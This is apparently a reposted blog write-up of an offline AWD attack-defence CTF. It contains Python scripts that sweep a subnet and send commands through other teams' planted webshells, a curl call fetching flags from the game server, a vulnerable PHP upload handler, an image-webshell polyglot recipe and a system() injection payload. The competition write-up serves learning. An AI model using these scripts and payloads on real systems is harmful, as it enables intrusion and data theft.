湖湘杯线下AWD记录

栏目: Python · 发布时间: 5年前

内容简介:发现一个 .shell.php菜刀马,密码c ,但是是root权限创建,并且有定时任务一直写入,无法删除,可以选择写一个 while循环删除他。然后根据.shell.php去批量拿flag。脚本丢给队友去执行,继续审计代码,通过搜索eval关键字,成功又找到一枚后门

湖湘杯线下AWD记录

发现一个 .shell.php菜刀马,密码c ,但是是root权限创建,并且有定时任务一直写入,无法删除,可以选择写一个 while循环删除他。然后根据.shell.php去批量拿flag。

#coding=utf-8
import requests
import re
from gevent import pool
from gevent import monkey
from gevent import lock
monkey.patch_all()

port="80"
payload =  {"c": 'system('curl http://172.16.0.225:8000/flag');'}
heads = {"cookie":"PHPSESSID=censulo0283idutu58ap6lvem7; xdgame_username=hacker"}

def f(flag):
    data = {"key": flag}
    try:
        req =requests.post("http://172.16.0.225/index.php/wargame/submit", data=data, headers=heads, timeout=2)
        title = re.findall('<title>(.*?)</title>', req.text, re.S)
        return title
    except Exception as e:
        pass
        
webshelllist=open("webshelllist.txt","w")
flag = open("firstround_flag.txt","w")

def get_(ip):
    url = "http://%s/.shell.php" % ip
    try:
        res = requests.post(url, payload, timeout=2)
        print ip, f(str(res.text)), res.text,"bbb"
    except Exception as e:
        pass

def get_1(ip):
    url = "http://%s/.config.php" % ip
    payloads = {"cmd": 'system('curl http://172.16.0.225:8000/flag');'}
    try:
        res = requests.post(url, payloads, timeout=2)
        if res.text:
            print ip, f(str(res.text)), "aaa"
    except Exception as e:
        pass

pl = pool.Pool(254)
ipl = ["172.16.0.%s" % x for x in range(0, 254)]
pl.map(get_, ipl)
pl.join()

webshelllist.close()
flag.close()

脚本丢给队友去执行,继续审计代码,通过搜索eval关键字,成功又找到一枚后门

湖湘杯线下AWD记录 1

然后编写代码,继续批量拿flag,很多选手可能到后面才知道,ip段是 172.16.0.0/24 和 172.16.0.1/24

import requests
import re
from gevent import pool
from gevent import monkey
monkey.patch_all()

heads = {"cookie":"PHPSESSID=censulo0283idutu58ap6lvem7; xdgame_username=hacker",
         "User-Agent": "hacker"}
proxy = {"http": "http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

def f(flag):
    data = {"key": flag}
    try:
        req =requests.post("http://172.16.0.225/index.php/wargame/submit", data=data, headers=heads, timeout=2)
        title = re.findall('<title>(.*?)</title>', req.text, re.S)
        return title
    except Exception as e:
        f(flag)

def get_(ip):
    url = "http://%s/3/gcount/styles/.web2/?a=system('curl http://172.16.0.225:8000/flag');" % ip
    try:
        res = requests.post(url, timeout=2)
        print res.status_code
        if res.status_code == 200:
            print ip, f(str(res.text.strip())), res.text, "bbb"
    except Exception as e:
        pass

pl = pool.Pool(100)
ipl = ["172.16.0.%s" % x for x in range(0, 254)]
#ipl = ["172.16.1.%s" % x for x in range(0, 254)]
pl.map(get_, ipl)
pl.join()

根据这个后门在最后一个小时里面,狂刷分到结束从第十一刷到第二。后面爆破了一下mysql,发现很多队伍都没有修改 mysql 的密码。

第一场 AWD 结束。

下午场

还是头一次参加这种比赛,赛制为 在Web目录下的HIll/SCORE_POINTS的文件中写入你队伍的token,服务器每半个小时重置一次,每5分钟check一次,check时写入的成功队伍则得分。

web1.humensec.com
web2.humensec.com
web3.humensec.com
web4.humensec.com
web5.humensec.com
pwn1.humensec.com
pwn2.humensec.com
pwn3.humensec.com

刚刚开始一个个去测试漏洞,但是前面两个小时我们队伍题目都很难打开,只能扫选手的80端口玩玩,见到了搭建了乌云知识库的、搭建ctf笔记的、各种DVWA的。。。

“”” 省略一个小时 “””

后面发现web站都存在目录遍历,upload目录有别人的上传痕迹,刷新等webshell,然后爆破别人的webshell,成功拿下了web1.humensec.com,果断先扒下源码,简单审计一下:

湖湘杯线下AWD记录

知道别人是通过任意文件上传拿下的webshell,直接在源码里面搜索upload

湖湘杯线下AWD记录

代码:

<?php
    /* Note: This thumbnail creation script requires the GD PHP Extension.  
        If GD is not installed correctly PHP does not render this page correctly
        and SWFUpload will get "stuck" never calling uploadSuccess or uploadError
     */

    // Get the session Id passed from SWFUpload. We have to do this to work-around the Flash Player Cookie Bug
    @set_time_limit(0);
    @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);
    ini_set('html_errors', '0');

    define('SYSTEM_ROOT', str_replace("\", '/',substr(dirname(__FILE__),0,-10)));
    include SYSTEM_ROOT.'include/common.inc.php';

    if (isset($_POST["PHPSESSID"])) {
        session_id($_POST["PHPSESSID"]);
    }

    session_start();

    ini_set("html_errors", "0");

    // Check the upload
    if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
        echo "err-1";
        exit(0);
    }

    if (!is_array(@getimagesize($_FILES["Filedata"]["tmp_name"])))
    {
        echo "err-2";
        exit(0);
    }

    if (!isset($_SESSION["file_info"])) {
        $_SESSION["file_info"] = array();
    }
    
    $fileName = $_userid.'_'.time().mt_rand(10000,99999).'.'.strtolower(get_fileext($_FILES["Filedata"]["name"]));
    $path=date('Y-m-d',time()).'/';
    @mkdir(SYSTEM_ROOT.'upload/image/'.$path);
    move_uploaded_file($_FILES["Filedata"]["tmp_name"], "../../upload/image/".$path. $fileName);

    // 加水印

    setwatermark(SYSTEM_ROOT.'upload/image/'.$path.$fileName);

    echo "FILEID:" . $path.$fileName;
    exit(0);
?>

只需要上传一个合成后的图片马,copy 1.jpg/b + 1.php new.jpg , 即可 shell 然后后面就是一直在刷新修改SCORE_POINTS文件。。。(北京梆梆和安恒一直和我们抢,抢的都没有我们的分多 hahahaha)

?ccc=system(‘echo “队伍名“>/var/www/Hill/SCORE_POINTS’);

tips:用IE6刷新速度贼快然后从 0 分,到最后一直刷新到了第四名。第二场 netkoth 结束


以上所述就是小编给大家介绍的《湖湘杯线下AWD记录》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

摩尔神话

摩尔神话

阿诺德•萨克雷、戴维•布洛克、雷切尔•琼斯 / 黄亚昌 / 中国人民大学出版社 / 2017-9 / 105元

戈登·摩尔领导“八叛逆”创建了仙童半导体公司,为硅谷人士的冒险和创新确立了蓝图。他对技术进行创新,并使“变节资本”成为关键动力,使硅谷成为如今的模样;作为仙童半导体的研发总监,以及在芯片制造中扮演着关键角色,他的观点让创业之火熊熊燃烧;在英特尔初创期,开辟了第二条战线,即用微处理器来实现数字逻辑;他为全球半导体产业以及电子革命确立了核心动力,促进了技术普及,加速了社会变革;在对晶体管技术坚定不移的......一起来看看 《摩尔神话》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

html转js在线工具
html转js在线工具

html转js在线工具